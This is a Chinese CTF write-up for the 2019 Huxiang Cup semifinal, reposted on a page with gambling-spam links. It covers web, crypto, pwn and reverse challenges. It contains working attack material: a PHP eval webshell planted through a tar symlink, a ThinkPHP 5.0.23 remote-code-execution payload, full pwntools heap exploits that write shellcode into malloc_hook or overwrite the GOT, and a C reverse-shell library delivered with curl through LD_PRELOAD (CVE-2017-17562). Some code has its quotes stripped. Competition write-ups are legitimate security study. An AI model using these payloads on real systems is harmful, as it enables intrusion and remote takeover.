2019湖湘杯网络安全技能大赛复赛WriteUp

  2019湖湘杯网络安全技能大赛-复赛WriteUp

  注册游戏账号点击图片进入游戏百家乐技巧,龙虎和游戏,龙虎游戏

  Webuntar
解题思路
参考:http://knqyf263.hatenablog.com/entry/2018/06/27/181037
根据文章写的
ln -s /var/www/html/sandbox/exp.php exp.php

  echo <?php eval($_POST[a]); > foo

  tar cvf exp.tar * --transform=s/foo/exp.php/g

  tar -tvvf exp.tar

  http://183.129.189.62:18907/?url=http://106.52.2.103/sandbox/exp.tar&filename=/test3/exp.tar


thinkphp?
解题思路
先下载备份文件
报错里看到 thinkphp5.0.23 ,找了一下这个版本的 rce 漏洞的payload 试了一下,发现是能执行
payload:
POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat+/flag 存在命令执行

  


Misc
EzMemory
解题思路

Crypto
give me your passport
解题思路
在genuser函数那里赋值name=Admin,拿到passport
from Crypto.Cipher import AES

  from Crypto import Random

  from string import ascii_letters

  from random import choice,randint

  import sys

  import signal

  #pad Admin

  padadmin=pad(Admin,16)

  #生成iv

  iv = Random.new().read(AES.block_size)

  #题中的KEY

  KEY = bJustKey not fl@g

  #用KEY 和 iv 对padadmin 加密

  cipher = AES.new(KEY, AES.MODE_CBC, iv)

  out=cipher.encrypt(padadmin)

  #将iv与padadmin拼接

  out2=iv+out

  check_passport=binascii.hexlify(out2) #输出为nc要输入的

  
Rsa
解题思路
from sympy import *

  from sympy.core.numbers import igcdex

  import gmpy2

  import libnum

  e=65537

  n=22000596569856085362623019573995240143720890380678581299411213688857584612953014122879995808816872221032805734151343458921719334360194024890377075521680399678533655114261000716106870610083356478621445541840124447459943322577740268407217950081217130055057926816065068275999620502766866379465521042298370686053823448099778572878765782711260673185703889168702746195779250373642505375725925213796848495518878490786035363094086520257020021547827073768598600151928787434153003675096254792245014217044607440890694190989162318846104385311646123343795149489946251221774030484424581846841141819601874562109228016707364220840611

  dp=84373069210173690047629226878686144017052129353931011112880892379361035492516066159394115482289291025932915787077633999791002846189004408043685986856359812230222233165493645074459765748901898518115384084258143483508823079115319711227124403284267559950883054402576935436305927705016459382628196407373896831725

  c=14874271064669918581178066047207495551570421575260298116038863877424499500626920855863261194264169850678206604144314318171829367575688726593323863145664241189167820996601561389159819873734368810449011761054668595565217970516125181240869998009561140277444653698278073509852288720276008438965069627886972839146199102497874818473454932012374251932864118784065064885987416408142362577322906063320726241313252172382519793691513360909796645028353257317044086708114163313328952830378067342164675055195428728335222242094290731292113709866489975077052604333805889421889967835433026770417624703011718120347415460385182429795735

  p = gcd(n,pow(2,e*dp,n)-2)

  # print p

  q = n//p

  # print q

  d = long(igcdex(e,(p-1)*(q-1))[0]%n)

  print hex(pow(c,d,n))[2:-1].decode(hex)

  
DES
解题思路
import pyDes

  import base64

  deskey = "********"

  DES = pyDes.des(deskey)

  DES.setMode(ECB)

  DES.Kn = [

   [1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0],

   [1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0],

   [0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0],

   [1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1],

   [0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1],

   [0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0],

   [0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0],

   [0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0],

   [0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0],

   [0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0],

   [0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1],

   [0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0],

   [1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0],

   [1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1],

   [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1],

   [1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1]

   ]

  cipher_list= "gAN5RT1XWKI0OyUayZj35SlKQ+if2PAJ"

  cipher=base64.b64decode(cipher_list)

  mes = DES.decrypt(cipher)

  print(mes)

  
import pyDes

  import base64

  deskey = "********"

  DES = pyDes.des(deskey)

  DES.setMode(ECB)

  DES.Kn = [

   [1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0],

   [1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0],

   [0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0],

   [1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1],

   [0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1],

   [0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0],

   [0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0],

   [0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0],

   [0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0],

   [0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0],

   [0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1],

   [0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0],

   [1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0],

   [1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1],

   [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1],

   [1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1]

   ]

  cipher_list= "gAN5RT1XWKI0OyUayZj35SlKQ+if2PAJ"

  cipher=base64.b64decode(cipher_list)

  mes = DES.decrypt(cipher)

  print(mes)

  pic=[0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0]

  #[0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0]

  #[0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 1, 1, 1, 1, 1, 0, 0, 1, 2, 1, 0, 1, 2, 0, 0, 2, 0, 1, 0, 1, 1, 0, 0, 1, 0, 2, 1, 1, 2, 1, 0, 1, 0, 2, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 2]

  def __permutate(self, table, block):

   """Permutate this block with the specified table"""

   return list(map(lambda x: block[x], table))

  __pc2 = [

   13, 16, 10, 23, 0, 4,

   2, 27, 14, 5, 20, 9,

   22, 18, 11, 3, 25, 7,

   15, 6, 26, 19, 12, 1,

   40, 51, 30, 36, 46, 54,

   29, 39, 50, 44, 32, 47,

   43, 48, 38, 55, 33, 52,

   45, 41, 49, 35, 28, 31

   ]

  x=[2]*56

  for i in range(48):

   x[__pc2[i]]=DES.Kn[1][i]

  print(x[:28])

  print(x[28:])

  __pc1 = [56, 48, 40, 32, 24, 16, 8,

   0, 57, 49, 41, 33, 25, 17,

   9, 1, 58, 50, 42, 34, 26,

   18, 10, 2, 59, 51, 43, 35,

   62, 54, 46, 38, 30, 22, 14,

   6, 61, 53, 45, 37, 29, 21,

   13, 5, 60, 52, 44, 36, 28,

   20, 12, 4, 27, 19, 11, 3

   ]

  y=[2]*64

  for i in range(56):

   y[__pc1[i]]=pic[i]

  print(y)

  #[0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0

  最后进行key的爆破:
bin1=0100000

  bin2=0110111

  bin3=0100100

  bin4=0110010

  bin5=0110111

  bin6=0110011

  bin7=0100010

  bin8=0100001

  for i1 in range(2):

   for i2 in range(2):

   for i3 in range(2):

   for i4 in range(2):

   for i5 in range(2):

   for i6 in range(2):

   for i7 in range(2):

   for i8 in range(2):

   bin1=0100000

   bin2=0110111

   bin3=0100100

   bin4=0110010

   bin5=0110111

   bin6=0110011

   bin7=0100010

   bin8=0100001

   bin1+=chr(i1+48)

   bin2+=chr(i2+48)

   bin3+=chr(i3+48)

   bin4+=chr(i4+48)

   bin5+=chr(i5+48)

   bin6+=chr(i6+48)

   bin7+=chr(i7+48)

   bin8+=chr(i8+48)

   oc1=int(bin1,2)

   oc2=int(bin2,2)

   oc3=int(bin3,2)

   oc4=int(bin4,2)

   oc5=int(bin5,2)

   oc6=int(bin6,2)

   oc7=int(bin7,2)

   oc8=int(bin8,2)

   str1=

   str1+=chr(oc1)+chr(oc2)+chr(oc3)+chr(oc4)+chr(oc5)+chr(oc6)+chr(oc7)+chr(oc8)

   print(str1)

  
PWN
hacknote
解题思路
我这个做法比较绕,应该有更快的做法。


Edit函数里,重新给size赋值导致off by one
通过fastbin attack , 伪造一个合法的size(如0x61,0x6f)到main arena
fastbin attack,分配到main arena上,修改top chunk指针到.bss,再分配,往.bss写shellcode
再改top chunk指针到malloc hook,再分配,往malloc hook中写入shellcode地址
#-*-coding:utf8-*-

  #Sunxiaokong

  from pwn import *

  context.terminal = [terminator, -x, /bin/bash, -c]

  if args[REMOTE]:

   p = remote(183.129.189.62, 21204)

  else:

   p = process(./HackNote)

  def add(size, note):

   p.sendline(1)

   p.sendlineafter(Input the Size:, str(size))

   p.sendlineafter(Input the Note:, note)

   #p.recvuntil(Add Done!)

  def delete(index):

   p.sendline(2)

   p.sendlineafter(Input the Index of Note:, str(index))

  def edit(index, new_note):

   p.sendline(3)

   p.sendlineafter(Input the Index of Note:, str(index))

   p.sendlineafter(Input the Note:, new_note)

  def pwn():

   malloc_hook = 0x6cb788

   fake_size = 0x6cb830

   malloc_hook = 0x6cb788

   fake_top = 0x00000000006CC298-0x8

   #块堆叠 第1次

   add(0x90, 0) #0

   add(0x58, 1) #1

   add(0xf0, 2) #2

   add(0x10, 3) #3

   edit(1, a*0x58)

   delete(0)

   edit(1, a*0x50+p64(0x100)+\x00\x01)

   delete(2)

   add(0x90, d) #0

   add(0x50, a) #2

   add(0xf0, d) #4

   #块堆叠 第2次,往main arena 中写入一个可用的small chunk的size

   add(0x90, a) #5

   add(0x68, b) #6

   add(0xf0, c) #7

   add(0x10, d) #8

   edit(6, a*0x68)

   delete(5)

   edit(6, a*0x60+p64(0x110)+\x00\x01)

   delete(7)

   add(0x90, c) #5

   add(0x60, a) #7 6 .7 same

   add(0xf0, c) #9

   delete(6)

   edit(7, p64(0x61)) #

   add(0x60, a) #6 分配一次后,刚才改写的fd:0x61就进入main_arena了

   #继续利用第一次快堆叠,将fd改到刚才的fake size上

   delete(1)

   edit(2, p64(fake_size-8))

   add(0x50, a) #1

   #块堆叠第三次,fastbin attack到刚才伪造好size的main arena

   add(0x90, a) #10

   add(0x28, b) #11

   add(0xf0, c) #12

   add(0x10, p) #13

   edit(11, a*0x28)

   delete(10)

   edit(11, b*0x20+p64(0xd0)+\x00\x01)

   delete(12)

   add(0x90, c) #10

   add(0x20, a) #12 11 .12 same

   add(0xf0, c) #10

   delete(11)

   add(0x50, p64(0x31)*4 + p64(fake_top)) #分配到main arena,改写top chunk指针到.bss上,写入shellcode

   delete(3) #腾出list空间,不然full

   #shellcode = shellcraft.amd64.sh()

   shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

   add(0x300, shellcode)

   edit(11, a*0x20+p64(malloc_hook-0x10)) #再改写top指针到malloc hook

   delete(8) #腾出list空间,不然full

   add(0x100, p64(0x6cc2a0)) #往malloc hook 写入 shellcode地址

   delete(2) #腾出list空间,不然full

   p.sendline(1)

   p.sendlineafter(Input the Size:, str(150))

   p.interactive()

  pwn()

  main_arena:

  pwndbg> x/30xg 0x00000000006cb800

  
NameSystem
解题思路
利用drop漏洞 删除chunk18复制一个相同的chunk19地址在ptr里,可以double free
程序在free后移动idx时,存在double free,got表附近有可利用size,0x60与0x40分别是延迟绑定的和未绑定函数的地址,使用double_free分配到got表改free_got -> printf_plt ,free(ptr) -> printf(ptr) 利用格式化字符串漏洞leak栈中的libc地址,然后再改printf_got为system,因为free_got再第一次被修改后就不再次释放了,所以之前要构造好两条double free链.
from pwn import *

  context.log_level = debug

  prog = ./NameSystem

  elf = ELF(prog)

  #p = process(prog)

  libc = ELF("./libc-2.23.so")

  p = remote("183.129.189.62", 21705)

  def dbg():

   gdb.attach(p)

   p.interactive()

  def add(size, name):

   p.sendlineafter("Your choice :\n", 1)

   p.sendlineafter("Name Size:", str(size))

   p.sendlineafter("Name:", name)

  def free(idx):

   p.sendlineafter("Your choice :\n", 3)

   p.sendlineafter("The id you want to delete:", str(idx))

  def exp():

   add(0x60, %p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p)

   add(0x60, /bin/sh\x00)

   for i in range(8):

   add(0x60, %p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p)

   for i in range(5):

   add(0x30, a)

   for i in range(5):

   add(0x50, a)

   free(18)

   free(19)

   free(16)

   free(17)

   free(9)

   add(0x50, p64(0x601ffa))

   for i in range(3):

   add(0x30, a)

   free(18)

   free(19)

   free(17)

   free(17)

   add(0x30, p64(0x602022))

   for i in range(4):

   free(0)

   add(0x30, a)

   add(0x30, a)

   add(0x50, a)

   add(0x50, a)

   add(0x50, \x00*(6)+p64(0)+\xd0\x06\x40\x00\x00)

   free(0)

   libc_base = int(p.recvuntil("Done!", drop = True)[-12:], 16)-0x20830

   success(hex(libc_base))

   system = libc_base + libc.sym[system]

   one = libc_base + 0x45216

   success(hex(system))

   add(0x30, a*6+p64(one))

   #dbg()

   p.interactive()

  if __name__ == __main__:

   exp()

  
Reverse
arguement
解题思路
1.准备

  
获取到信息:
32位的文件
upx加密文件
在控制台打开文件

使用"upx -d reverse.exe"解密

2.IDA打开
直接在String中,找到引用"Input Your Flag:"的位置
int __usercall sub_415280@<eax>(int xmm0_4_0@<xmm0>, int a1, int a2)

  {

   int v3; // edx

   FILE *v4; // eax

   int v5; // edx

   int v6; // ecx

   char *v7; // eax

   int v8; // edx

   int v9; // ecx

   int v10; // ST04_4

   int v11; // ST08_4

   char v13; // [esp+0h] [ebp-134h]

   char Buf; // [esp+D0h] [ebp-64h]

   size_t i; // [esp+100h] [ebp-34h]

   FILE *File; // [esp+10Ch] [ebp-28h]

   char v17; // [esp+118h] [ebp-1Ch]

   int v18; // [esp+130h] [ebp-4h]

   int savedregs; // [esp+134h] [ebp+0h]

   sub_411208((int)&unk_41C008);

   printf("Input Your Flag:\n", v13);

   sub_41137F("%19s", (unsigned int)&v17); // v12大小为24

   if ( a1 != 2 )

   {

   printf("Input error!\n", v13);

   exit(1);

   }

   printf("%s\n", *(_DWORD *)(a2 + 4)); // 在执行文件时,执行的第一个参数

   for ( i = 0; i < j_strlen(*(const char **)(a2 + 4)); ++i )// 遍历执行文件时输入的字符串

   *(_BYTE *)(*(_DWORD *)(a2 + 4) + i) += i; // 每一位 str[i] += i

   if ( !j_strcmp(Str1, *(const char **)(a2 + 4)) )// 和“fmcj2y~{”比较

   {

   v4 = fopen(*(const char **)(a2 + 4), "r"); // 下面两句文件操作,应该是获取输入的

   File = (FILE *)sub_411212(v6, v5, &v13 == &v13, (int)v4, xmm0_4_0);

   if ( File )

   {

   v7 = fgets(&Buf, 40, File);

   sub_411212(v9, v8, &v13 == &v13, (int)v7, xmm0_4_0);

   if ( j_strlen(&Buf) != 32 j_strlen(&Buf) % 2 == 1 )// 输入长度应该是32

   exit(1);

   sub_4113B1(xmm0_4_0, &Buf, (int)&unk_41A4E0);

   if ( sub_4113B6(xmm0_4_0, (int)&unk_41A4E0) )

   printf("flag{%s}", (unsigned int)&Buf);

   else

   printf("Input Error!\n", v13);

   }

   else

   {

   printf("Input Error!\n", v13);

   }

   }

   else

   {

   printf("Input Error!\n", v13);

   }

   sub_411235(&savedregs, dword_4154C4, 0, v3);

   return sub_411212((unsigned int)&savedregs ^ v18, v11, 1, v10, xmm0_4_0);

  }

  因此在运行时文件我们要在后面带一个参数,这个参数通过分析代码,我们可以写个脚本解出
str1 = fmcj2y~{

  str2 =

  for i in range(len(str1)):

   str2 += chr(ord(str1[i]) - i)

  print (str2)

  3.代码分析
通过分析,可以知道关键的函数是sub_4113B1和sub_4113B6。


3.1 sub_4113B1函数
int __usercall sub_414E50@<eax>(int a1@<xmm0>, char *Str, int a3)

  {

   unsigned int v3; // eax

   int v4; // edx

   int v5; // ecx

   char v7; // [esp+0h] [ebp-E4h]

   int v8; // [esp+D0h] [ebp-14h]

   signed int i; // [esp+DCh] [ebp-8h]

   sub_411208((int)&unk_41C008);

   dword_41A078[8] = 0xA7;

   dword_41A078[9] = 0xDE;

   dword_41A078[10] = 0xDA;

   dword_41A078[11] = 0x46;

   dword_41A078[12] = 0xAB;

   dword_41A078[13] = 0x2E;

   dword_41A078[14] = 0xFF;

   dword_41A078[15] = 0xDB;

   for ( i = 0; ; i += 2 ) // 0开始,2跳

   {

   v3 = j_strlen(Str); // v3为Buf长度32

   if ( i >= v3 )

   break;

   if ( Str[i] >= 48 && Str[i] <= 57 ) // 0~9

   {

   *(_DWORD *)(a3 + 4 * (i / 2)) = Str[i] - 48;// 字符转换为整型

   }

   else

   {

   if ( Str[i] < 97 Str[i] > 102 ) // 非a~f,说明组成的字符是0~9a~f,十六进制啊

   {

   printf("Input Error!\n", v7);

   exit(0);

   }

   *(_DWORD *)(a3 + 4 * (i / 2)) = Str[i] - 87;// 十六进制啊!a~f就是10~15

   }

   *(_DWORD *)(a3 + 4 * (i / 2)) *= 16; // 最后还要乘16

   if ( Str[i + 1] >= 48 && Str[i + 1] <= 57 ) // i=1,3,5...如果为数字

   {

   v8 = Str[i + 1] - 48; // v8=字符转数字

   }

   else

   {

   if ( Str[i + 1] < 97 Str[i + 1] > 102 )

   {

   printf("Input Error!\n", v7);

   exit(0);

   }

   v8 = Str[i + 1] - 87; // i=1,3,5...如果是a~f字符转数字,10~15

   }

   *(_DWORD *)(a3 + 4 * (i / 2)) += v8; // a3[i]+=v8

   }

   return sub_411212(v5, v4, 1, v3, a1);

  }

  这个函数有两个作用:
对dword_41A078后8双字节赋值
将输入的字符串,两两字符转换为数字,存入v4,例如:输入"a1b2c3"将会转换为0xa1b2c3
3.2 sub_4113B6函数
int __usercall sub_411D90@<eax>(int a1@<xmm0>, int a2)

  {

   int v2; // edx

   int v3; // ecx

   int v4; // eax

   signed int i; // [esp+D0h] [ebp-8h]

   sub_411208((int)&unk_41C008);

   for ( i = 0; i < 16; ++i )

   {

   v3 = a2; // v3赋值为之前得到的整数

   v2 = *(_DWORD *)(a2 + 4 * i) + 1; // v2=v2[i]+1

   if ( v2 != dword_41A078[i] )

   {

   v4 = 0;

   return sub_411212(v3, v2, 1, v4, a1);

   }

   }

   v4 = 1;

   return sub_411212(v3, v2, 1, v4, a1);

  }

  这个函数将我们转换输入字符串得到的v4。

每一位加1之后与已知的dword_41A078数组比较。


dword_41A078:
50h 0C6h 0F1h 0E4h 0E3h 0E2h 9Ah 0A1h 0A7h 0DEh 0DAh 46h 0ABh 2Eh 0FFh 0DBh
因此我们只要将dword_41A078每一位减1,就能得到v4,从而输入的Buf也得到了了
v4
4fc5f0e3e2e199a0a6ddd945aa2dfeda
Buf
"4fc5f0e3e2e199a0a6ddd945aa2dfeda"
而回到主函数
if ( sub_4113B6(xmm0_4_0, (int)&unk_41A4E0) )

   printf("flag{%s}", (unsigned int)&Buf);

  
EzRE
解题思路
迷宫题,得知是安恒6月月赛原题,直接输入2 4 4 1 4 4 4 2 2 2 2 3 3 1 3 3 3 2 2 4 4 2 4 4 4 4。

得到flag

icekey
解题思路
源程序中存在解密代码,直接修改array的值让程序自身去解密,就会得到flag


创新
大数据安全
解题思路
CVE-2017-17562;

  uint32_t server_port=7777;

  static void reverse_shell(void) __attribute__((constructor));

  static void reverse_shell(void)

  {

   //socket initialize

   int sock = socket(AF_INET, SOCK_STREAM, 0);

   struct sockaddr_in attacker_addr = {0};

   attacker_addr.sin_family = AF_INET;

   attacker_addr.sin_port = htons(server_port);

   attacker_addr.sin_addr.s_addr = inet_addr(server_ip);

   //connect to the server

   if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)

   exit(0);

   //dup the socket to stdin, stdout and stderr

   dup2(sock, 0);

   dup2(sock, 1);

   dup2(sock, 2);

   //execute /bin/sh to get a shell

   execve("/bin/sh", 0, 0);

  }

  编译生成动态链接库 payload.so

payload:
curl -X POST --data-binary @payload.so "http://183.129.189.62:19800/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i

  

成功反弹shell
接着在 /home/ctf/flag 中得到flag,中途shell一直断 orz


招新小广告
ChaMd5 ctf组 长期招新
尤其是crypto+reverse+pwn+合约的大佬
欢迎联系admin@chamd5.org

  2019湖湘杯网络安全技能大赛-复赛WriteUp

Comments

Popular posts from this blog

布隆迪博彩公司,布隆迪博彩网站

帕果帕果博彩公司,帕果帕果博彩网站

MG百搭圣甲虫游戏技巧,MG百搭圣甲虫游戏规则介绍